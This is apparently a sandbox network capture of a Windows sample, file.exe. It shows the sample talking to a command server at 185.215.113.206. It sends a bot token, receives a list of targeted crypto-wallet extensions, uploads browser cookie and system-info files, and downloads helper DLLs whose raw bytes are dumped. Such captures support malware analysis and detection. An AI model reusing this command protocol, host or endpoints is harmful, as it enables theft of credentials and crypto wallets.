Nov 25, 2024 16:21:10.393685102 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="message"fplugins------JKECFCFBGDHIECAAFIID--
Nov 25, 2024 16:21:10.858367920 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 25, 2024 16:21:10.876940012 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHJKJDGCGDAKFHIDBGC Host: 185.215.113.206 Content-Length: 6623 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 16:21:10.877005100 CET	6623	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 4a 4b 4a 44 47 43 47 44 41 4b 46 48 49 44 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 Data Ascii: ------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------KEHJKJDGCGDAKFHIDBGCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 25, 2024 16:21:11.975142956 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 16:21:11.975912094 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 16:21:12.441674948 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 25, 2024 16:21:12.441692114 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 25, 2024 16:21:12.443798065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49720	185.215.113.206	80	6092	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 16:21:22.184089899 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJKKKFCFHCFIECBGDHI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GIJKKKFCFHCFIECBGDHI--
Nov 25, 2024 16:21:24.126027107 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 16:21:24.255255938 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="file"------FHJDGHIJDGCBAAAAAFIJ--
Nov 25, 2024 16:21:25.225018024 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49765	185.215.113.206	80	6092	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 16:21:31.527534962 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGHDGIDAKEBAAKFCGHC Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 16:21:31.527750015 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 48 44 47 49 44 41 4b 45 42 41 41 4b 46 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 Data Ascii: ------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------IDGHDGIDAKEBAAKFCGHCContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 25, 2024 16:21:33.386883974 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 16:21:33.750790119 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 4a 4b 4b 46 42 41 45 47 44 47 44 47 43 42 4b 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDHJKKFBAEGDGDGCBKECContent-Disposition: form-data; name="file"------JDHJKKFBAEGDGDGCBKEC--
Nov 25, 2024 16:21:34.709273100 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 16:21:35.240830898 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 16:21:35.696199894 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 25, 2024 16:21:35.696232080 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Nov 25, 2024 16:21:35.696242094 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Nov 25, 2024 16:21:35.696281910 CET	24	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 Data Ascii: $D$D$$D$
Nov 25, 2024 16:21:35.696396112 CET	1236	IN	Data Raw: 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 00 00 89 c3 88 44 24 07 8b 44 24 40 89 cf 89 4c 24 14 0f b6 c9 c1 e1 18 Data Ascii: 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$
Nov 25, 2024 16:21:35.696464062 CET	1236	IN	Data Raw: 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 c1 f8 1f f7 d0 8b 5d 1c 80 7c 33 f5 01 19 ff 09 c7 b8 03 00 00 00 29 c8 Data Ascii: EE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -
Nov 25, 2024 16:21:35.696475029 CET	1236	IN	Data Raw: 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 c7 47 08 01 Data Ascii: EGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF
Nov 25, 2024 16:21:35.696511984 CET	1236	IN	Data Raw: 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 00 e8 9f f7 07 00 83 c4 04 31 ff 85 c0 0f 84 fc 00 00 00 89 c6 8b 45 0c Data Ascii: 1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuWT
Nov 25, 2024 16:21:35.704905987 CET	496	IN	Data Raw: 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 39 d1 0f 86 c9 01 00 00 29 d1 0f 84 de 01 00 00 89 5d dc 89 7d e4 89 c8 Data Ascii: E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof
Nov 25, 2024 16:21:35.706607103 CET	1236	IN	Data Raw: d4 66 0f eb d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b Data Ascii: ff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpff
Nov 25, 2024 16:21:37.155697107 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 16:21:37.606436014 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 25, 2024 16:21:38.448941946 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 16:21:38.902015924 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 25, 2024 16:21:39.612917900 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 16:21:40.064985991 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 